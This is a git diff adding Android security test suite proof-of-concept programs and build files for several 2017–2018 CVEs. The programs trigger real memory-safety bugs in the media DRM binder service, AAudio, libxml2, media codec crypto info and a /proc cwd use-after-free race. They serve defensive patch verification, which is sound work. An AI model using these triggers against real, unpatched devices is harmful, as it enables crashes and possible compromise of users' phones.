+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9424
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+
+LOCAL_SHARED_LIBRARIES := libbinder \
+ libutils \
+ libcutils
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror
+LOCAL_CPPFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/poc.cpp
new file mode 100644
index 0000000..88dfad6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/poc.cpp
@@ -0,0 +1,149 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions vand
+ * limitations under the License.
+ */
+
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <binder/IMemory.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <binder/Parcel.h>
+#include <cutils/ashmem.h>
+#include <utils/String8.h>
+
+using namespace android;
+
+#define MAKE_CRYPTO (IBinder::FIRST_CALL_TRANSACTION)
+#define CREATE_PLUGIN (IBinder::FIRST_CALL_TRANSACTION + 2)
+#define DECRYPT (IBinder::FIRST_CALL_TRANSACTION + 5)
+#define SET_HEAP (IBinder::FIRST_CALL_TRANSACTION + 8)
+
+class MyMemoryHeap : public virtual BnMemoryHeap {
+public:
+ MyMemoryHeap(int fd) { mFd = fd; }
+ int getHeapID() const { return mFd; }
+ void *getBase() const { return NULL; }
+ size_t getSize() const { return 4096 * 4096; }
+ uint32_t getFlags() const { return 0; }
+ uint32_t getOffset() const { return 0; }
+
+private:
+ mutable int mFd;
+};
+
+sp<IBinder> crypto_binder;
+
+void make_crypto() {
+
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> drm_binder = sm->getService(String16("media.drm"));
+
+ Parcel data, reply;
+
+ data.writeInterfaceToken(String16("android.media.IMediaDrmService"));
+
+ drm_binder->transact(MAKE_CRYPTO, data, &reply, 0);
+
+ crypto_binder = reply.readStrongBinder();
+}
+
+void create_plugin() {
+
+ Parcel data, reply;
+
+ data.writeInterfaceToken(String16("android.hardware.ICrypto"));
+
+ uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
+ 0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b};
+ data.write(uuid, 16);
+
+ data.writeInt32(0);
+
+ crypto_binder->transact(CREATE_PLUGIN, data, &reply, 0);
+}
+
+int set_heap() {
+
+ Parcel data, reply;
+
+ data.writeInterfaceToken(String16("android.hardware.ICrypto"));
+ int fd = ashmem_create_region("ele7enxxh", 4096);
+ sp<IMemoryHeap> heap = new MyMemoryHeap(fd);
+ data.writeStrongBinder(IInterface::asBinder(heap));
+
+ crypto_binder->transact(SET_HEAP, data, &reply, 0);
+
+ return reply.readInt32();
+}
+
+void decrypt() {
+
+ Parcel data, reply;
+
+ data.writeInterfaceToken(String16("android.hardware.ICrypto"));
+ data.writeInt32(0);
+ data.writeInt32(0);
+ data.writeInt32(0);
+
+ uint8_t key[16];
+ memset(key, 0, 16);
+ data.write(key, 16);
+ uint8_t iv[16];
+ memset(iv, 0, 16);
+ data.write(iv, 16);
+
+ // totalsize
+ data.writeInt32(4096 * 4);
+
+ sp<MemoryDealer> memoryDealer = new MemoryDealer(4096 * 4);
+ sp<IMemory> mem = memoryDealer->allocate(4096 * 4);
+ data.writeStrongBinder(IInterface::asBinder(mem));
+
+ // source.mHeapSeqNum
+ data.writeInt32(0);
+
+ // offset
+ data.writeInt32(0);
+
+ // numSubSamples
+ data.writeInt32(1);
+
+ // numBytesOfClearData
+ data.writeInt32(4096 * 4);
+
+ // numBytesOfEncryptedData
+ data.writeInt32(0);
+
+ // destination.mType
+ data.writeInt32(0);
+
+ // destination.mSharedMemory
+ data.writeStrongBinder(IInterface::asBinder(mem));
+
+ crypto_binder->transact(DECRYPT, data, &reply, 0);
+}
+
+int main() {
+
+ make_crypto();
+
+ create_plugin();
+
+ set_heap();
+
+ decrypt();
+
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.mk
new file mode 100644
index 0000000..a886b57
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2018-9428
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libmedia
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += libbinder
+LOCAL_SHARED_LIBRARIES += libaaudio
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS := -Wall -Werror -Wno-multichar -fpermissive
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp
new file mode 100644
index 0000000..84889cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <binder/IServiceManager.h>
+#include <binder/IPCThreadState.h>
+#include "binding/IAAudioService.h"
+
+using namespace android;
+using namespace aaudio;
+
+typedef struct _thread_args {
+ aaudio_handle_t aaudioHandle;
+ sp<IAAudioService> aas;
+} thread_args;
+
+static void* closeStreamThread(void *arg) {
+ thread_args *threadArgs = (thread_args*) arg;
+ if (threadArgs) {
+ if (threadArgs->aas) {
+ threadArgs->aas->closeStream(threadArgs->aaudioHandle);
+ }
+ }
+ return nullptr;
+}
+
+static void* startStreamThread(void *arg) {
+ thread_args *threadArgs = (thread_args*) arg;
+ if (threadArgs) {
+ if (threadArgs->aas) {
+ threadArgs->aas->startStream(threadArgs->aaudioHandle);
+ }
+ }
+ return nullptr;
+}
+
+int main() {
+ thread_args targs;
+
+ sp < IServiceManager > sm = defaultServiceManager();
+ sp < IBinder > binder = sm->getService(String16("media.aaudio"));
+ targs.aas = interface_cast < IAAudioService > (binder);
+ if (!(targs.aas)) {
+ return EXIT_FAILURE;
+ }
+ aaudio::AAudioStreamRequest request;
+ request.getConfiguration().setSharingMode(AAUDIO_SHARING_MODE_SHARED);
+ request.getConfiguration().setDeviceId(0);
+ request.getConfiguration().setSampleRate(AAUDIO_UNSPECIFIED);
+
+ time_t currentTime = start_timer();
+ while (timer_active(currentTime)) {
+ pthread_t pt[2];
+
+ aaudio::AAudioStreamConfiguration configurationOutput;
+ targs.aaudioHandle = targs.aas->openStream(request,
+ configurationOutput);
+ pthread_create(&pt[0], nullptr, closeStreamThread, &targs); /* close stream */
+ pthread_create(&pt[1], nullptr, startStreamThread, &targs); /* start stream */
+
+ sleep(5);
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.mk
new file mode 100644
index 0000000..3c2f232
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.mk
@@ -0,0 +1,79 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+#============================== CVE-2017-9047 ==============================#
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2018-9466-CVE-2017-9047
+LOCAL_SRC_FILES := poc-CVE-2017-9047.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/libxml2
+LOCAL_C_INCLUDES += external/libxml2/include
+LOCAL_C_INCLUDES += external/icu/icu4c/source/common/
+LOCAL_SHARED_LIBRARIES := libxml2
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
+
+#============================== CVE-2017-9048 ==============================#
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2018-9466-CVE-2017-9048
+LOCAL_SRC_FILES := poc-CVE-2017-9048.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/libxml2
+LOCAL_C_INCLUDES += external/libxml2/include
+LOCAL_C_INCLUDES += external/icu/icu4c/source/common/
+LOCAL_SHARED_LIBRARIES := libxml2
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
+
+#============================== CVE-2017-9049 & CVE-2017-9050 ==============================#
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2018-9466-CVE-2017-9049
+LOCAL_SRC_FILES := poc-CVE-2017-9049.c
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/libxml2
+LOCAL_C_INCLUDES += external/libxml2/include
+LOCAL_C_INCLUDES += external/icu/icu4c/source/common/
+LOCAL_SHARED_LIBRARIES := libxml2
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -DCHECK_UNDERFLOW
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9047.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9047.c
new file mode 100644
index 0000000..4457f26
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9047.c
@@ -0,0 +1,37 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "libxml.h"
+#include <string.h>
+#include <libxml/xmlerror.h>
+#include <libxml/valid.h>
+#define BUFFER_SIZE 64
+
+int main(void) {
+ char buf[BUFFER_SIZE];
+ xmlElementContent content;
+ content.type = XML_ELEMENT_CONTENT_ELEMENT;
+ content.prefix =
+ (const xmlChar *) "123456789012345678901234567890123456789012345678901234";
+ content.name =
+ (const xmlChar *) "123456789012345678901234567890123456789012345678901234";
+ content.ocur = XML_ELEMENT_CONTENT_PLUS;
+ content.c1 = NULL;
+ content.c2 = NULL;
+ content.parent = NULL;
+ memset(buf, 0, BUFFER_SIZE);
+ xmlSnprintfElementContent(buf, BUFFER_SIZE, &content, 1);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9048.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9048.c
new file mode 100644
index 0000000..985b156
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9048.c
@@ -0,0 +1,35 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "libxml.h"
+#include <string.h>
+#include <libxml/xmlerror.h>
+#include <libxml/valid.h>
+#define BUFFER_SIZE 64
+
+int main(void) {
+ char buf[BUFFER_SIZE];
+ xmlElementContent content;
+ content.type = XML_ELEMENT_CONTENT_ELEMENT;
+ content.prefix = (const xmlChar *) "1234567890123456789012345678901";
+ content.name = (const xmlChar *) "1234567890123456789012345678901";
+ content.ocur = XML_ELEMENT_CONTENT_PLUS;
+ content.c1 = NULL;
+ content.c2 = NULL;
+ content.parent = NULL;
+ memset(buf, 0, BUFFER_SIZE);
+ xmlSnprintfElementContent(buf, BUFFER_SIZE, &content, 1);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9049.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9049.c
new file mode 100644
index 0000000..13f39fd
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9049.c
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "libxml.h"
+#include <string.h>
+#include <libxml/xmlerror.h>
+#include <libxml/valid.h>
+#include <libxml/relaxng.h>
+#include <libxml/xmlschemas.h>
+#include <libxml/xmlschemastypes.h>
+
+static char *xmlPosixStrdup(const char *cur) {
+ return((char*) xmlCharStrdup(cur));
+}
+
+int main(int argc, char **argv) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+ xmlGetWarningsDefaultValue = 0;
+ xmlPedanticParserDefault(0);
+ xmlGcMemSetup(free, malloc, malloc, realloc, xmlPosixStrdup);
+ xmlInitParser();
+ xmlSchemaInitTypes();
+ xmlRelaxNGInitTypes();
+ xmlReadFile(argv[1], NULL, XML_PARSE_OLD10);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/Android.mk
new file mode 100644
index 0000000..4c883b8
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2018-9472
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/libxml2/include/
+LOCAL_C_INCLUDES += external/icu/icu4c/source/common/
+LOCAL_SHARED_LIBRARIES := liblog
+LOCAL_SHARED_LIBRARIES += libxml2
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/poc.cpp
new file mode 100644
index 0000000..42f9323
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/poc.cpp
@@ -0,0 +1,50 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <dlfcn.h>
+#include <string.h>
+#include <stdlib.h>
+#include <libxml/xmlmemory.h>
+#include "../includes/common.h"
+
+bool s_strlen_initialized = false;
+static unsigned long (*real_strlen)(const char *) = nullptr;
+
+#define TEST_STRING "CVE-2018_9472_Simulate_OverFlow_By_Large_String_Length"
+#define LARGE_SIZE ((size_t) -2)
+
+void strlen_init(void) {
+ real_strlen = (unsigned long (*)(const char *)) dlsym(RTLD_NEXT, "strlen");
+ if (real_strlen) {
+ s_strlen_initialized = true;
+ }
+}
+
+size_t strlen(const char *str) {
+ if (!s_strlen_initialized) {
+ strlen_init();
+ }
+ if (!strncmp(str, TEST_STRING, sizeof(TEST_STRING))) {
+ return LARGE_SIZE;
+ }
+ return real_strlen(str);
+}
+
+int main() {
+ if (xmlMemStrdupLoc(TEST_STRING, "none", 0)) {
+ return EXIT_VULNERABLE;
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.mk
new file mode 100644
index 0000000..95acb7a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2018-9491
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := frameworks/av/media/ndk/include/media/
+LOCAL_SHARED_LIBRARIES := libmediandk
+LOCAL_SHARED_LIBRARIES += liblog
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -DCHECK_OVERFLOW
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/poc.cpp
new file mode 100644
index 0000000..adc3508
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/poc.cpp
@@ -0,0 +1,32 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdlib.h>
+#include "NdkMediaCodec.h"
+#include "../includes/common.h"
+#define NUM_SUB_SAMPLES ((SIZE_MAX / (sizeof(size_t)*2) - 34) + 32)
+
+int main() {
+ uint8_t key[16] = { 1, 2, 3, 4, 1, 2, 3, 4, 1, 2, 3, 4, 1, 2, 3, 4 };
+ uint8_t iv[16] = { 4, 3, 2, 1, 4, 3, 2, 1, 4, 3, 2, 1, 4, 3, 2, 1 };
+ size_t clearBytes[4] = { 5, 6, 7, 8 };
+ size_t encryptedBytes[4] = { 8, 7, 6, 5 };
+
+ AMediaCodecCryptoInfo_new((int) NUM_SUB_SAMPLES, key, iv,
+ AMEDIACODECRYPTOINFO_MODE_CLEAR, clearBytes,
+ encryptedBytes);
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk
new file mode 100644
index 0000000..3c8d79c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9515
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c
new file mode 100644
index 0000000..d8f3471
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <pthread.h>
+#include <err.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <string.h>
+#include <time.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include "../includes/common.h"
+
+pid_t looper_pid;
+
+void *uaf_worker(__attribute__ ((unused)) void *unused) {
+ char cwd_path[100];
+ sprintf(cwd_path, "/proc/self/task/%d/cwd", (int)looper_pid);
+
+ time_t timer = start_timer();
+ while (timer_active(timer)) {
+ char symlink_target[1000];
+ int len = readlink(cwd_path, symlink_target, sizeof(symlink_target)-1);
+ if (len > 0) {
+ symlink_target[len] = 0;
+ }
+ }
+
+ return NULL;
+}
+
+void *chaos_worker(__attribute__ ((unused)) void *unused) {
+ if (chdir("/sdcard/Android/data/CVE-2018-9515"))
+ err(1, "chdir");
+ rmdir("subdir");
+
+ time_t timer = start_timer();
+ while (timer_active(timer)) {
+ if (mkdir("subdir", 0777))
+ err(1, "mkdir");
+ if (chdir("subdir"))
+ err(1, "chdir");
+ if (rmdir("../subdir"))
+ err(1, "rmdir");
+ if (chdir(".."))
+ err(1, "chdir");
+ }
+
+ return NULL;
+}
+
+int main(void) {
+ looper_pid = syscall(__NR_gettid);
+
+ pthread_t thread;
+ if (pthread_create(&thread, NULL, uaf_worker, NULL))
+ errx(1, "pthread_create failed");
+
+ pthread_t thread2;
+ if (pthread_create(&thread2, NULL, chaos_worker, NULL))
+ errx(1, "pthread_create failed");
+
+ char my_dir_name[100];
+ sprintf(my_dir_name, "/sdcard/Android/data/CVE-2018-9515/foobar");
+ rmdir(my_dir_name);
+
+ time_t timer = start_timer();
+ while (timer_active(timer)) {
+ if (mkdir(my_dir_name, 0777))
+ err(1, "looper: mkdir");
+ if (rmdir(my_dir_name))
+ err(1, "looper: rmdir");
+ }
+
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/Android.mk
new file mode 100644
index 0000000..7881c47
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2018-9527
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES += ./external/tremolo
+LOCAL_SHARED_LIBRARIES := libvorbisidec
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
